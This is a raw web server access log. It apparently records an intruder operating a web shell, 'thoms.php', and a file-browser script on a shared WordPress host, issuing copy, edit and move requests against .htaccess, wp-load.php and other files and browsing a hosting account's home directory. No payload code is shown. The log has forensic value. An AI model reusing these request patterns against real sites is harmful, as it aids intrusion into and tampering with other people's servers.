45.135.193.11 - - [12/Sep/2026:00:01:06 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=broadweb.com-20260912023716 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=broadweb.com-20260912023716" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:06 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=wordpress-6.6-20260912023539 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:07 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:07 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=besth2o.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:07 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=bioway88.com-20260912023827 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=bioway88.com-20260912023827" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:07 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:07 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=big-wife.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:07 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=bestjudy.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:07 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=bft.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:07 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=booking-wise2.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:07 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=bossini.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:07 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:07 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin&finish=1&move=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:07 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=beauty-dental.com-20260912023807 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=beauty-dental.com-20260912023807" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:07 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=biotaiwan.com-20260912023713 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=biotaiwan.com-20260912023713" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:07 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=bodbooks.com-20260912023809 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=bodbooks.com-20260912023809" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:07 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:07 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin&finish=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:07 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=bfl.com-20260912023804 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=bfl.com-20260912023804" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:08 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:08 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:08 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:08 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=wp-content-20260912023544 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:08 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=ba-guo.com-20260912023525 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:08 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=bogroup.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:08 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=upgrade-20260912023806 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin&p=upgrade-20260912023806" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:08 -0400] "GET /broadweb.com.tw/cgi-bin/?ND= HTTP/1.1" 200 692 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:08 -0400] "GET /broadweb.com.tw/cgi-bin/?MA= HTTP/1.1" 200 692 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:08 -0400] "GET /thoms.php?edit=wp-load.php&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-load.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:08 -0400] "GET /broadweb.com.tw/cgi-bin/?SA= HTTP/1.1" 200 692 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:08 -0400] "GET /thoms.php?edit=wp-load.php&env=ace&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-load.php&env=ace&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:08 -0400] "GET /thoms.php?copy=broadweb.com.tw%2F.htaccess&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2F.htaccess&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:08 -0400] "GET /thoms.php?copy=broadweb.com.tw%2F.htaccess&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2F.htaccess&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:08 -0400] "GET /thoms.php?copy=broadweb.com.tw%2F.htaccess&p=broadweb.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2F.htaccess&p=broadweb.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:08 -0400] "GET /thoms.php?copy=broadweb.com.tw%2F.htaccess&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2F.htaccess&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:08 -0400] "GET /thoms.php?copy=broadweb.com.tw%2F.htaccess&finish=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2F.htaccess&finish=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:08 -0400] "GET /thoms.php?copy=broadweb.com.tw%2F.htaccess&p=broadweb.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2F.htaccess&p=broadweb.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:09 -0400] "GET /thoms.php?copy=broadweb.com.tw%2F.htaccess&finish=1&move=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2F.htaccess&finish=1&move=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:09 -0400] "GET /thoms.php?copy=broadweb.com.tw%2F.htaccess&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2F.htaccess&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:09 -0400] "GET /thoms.php?copy=broadweb.com.tw%2F.htaccess&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2F.htaccess&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:09 -0400] "GET /thoms.php?copy=broadweb.com.tw%2F.htaccess&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2F.htaccess&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:09 -0400] "GET /thoms.php?copy=broadweb.com.tw%2F.htaccess&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2F.htaccess&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:09 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Flicense.txt&finish=1&move=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Flicense.txt&finish=1&move=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:09 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Flicense.txt&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Flicense.txt&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:09 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Flicense.txt&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Flicense.txt&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:09 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Flicense.txt&finish=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Flicense.txt&finish=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:09 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Flicense.txt&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Flicense.txt&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:09 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Flicense.txt&p=broadweb.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Flicense.txt&p=broadweb.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:09 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Flicense.txt&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Flicense.txt&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:09 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Flicense.txt&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Flicense.txt&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:09 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Flicense.txt&p=broadweb.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Flicense.txt&p=broadweb.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:09 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Flicense.txt&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Flicense.txt&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:09 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Flicense.txt&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Flicense.txt&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:10 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-links-opml.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-links-opml.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:10 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-links-opml.php&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-links-opml.php&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:10 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-links-opml.php&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-links-opml.php&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:10 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-links-opml.php&p=broadweb.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-links-opml.php&p=broadweb.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:10 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-links-opml.php&p=broadweb.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-links-opml.php&p=broadweb.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:10 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-links-opml.php&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-links-opml.php&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:10 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-links-opml.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-links-opml.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:10 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-links-opml.php&finish=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-links-opml.php&finish=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:10 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-links-opml.php&finish=1&move=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-links-opml.php&finish=1&move=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:10 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-links-opml.php&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-links-opml.php&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:10 -0400] "GET /broadweb.com.tw/bridge-sample/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fbridge-sample%2F&location=%2F HTTP/1.1" 200 7894 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:10 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-links-opml.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-links-opml.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:10 -0400] "GET /thoms.php?edit=wp-signup.php&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-signup.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:10 -0400] "GET /broadweb.com.tw/bridge-sample/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw%2Fbridge-sample%2F&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7987 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:10 -0400] "GET /thoms.php?edit=wp-signup.php&env=ace&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-signup.php&env=ace&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
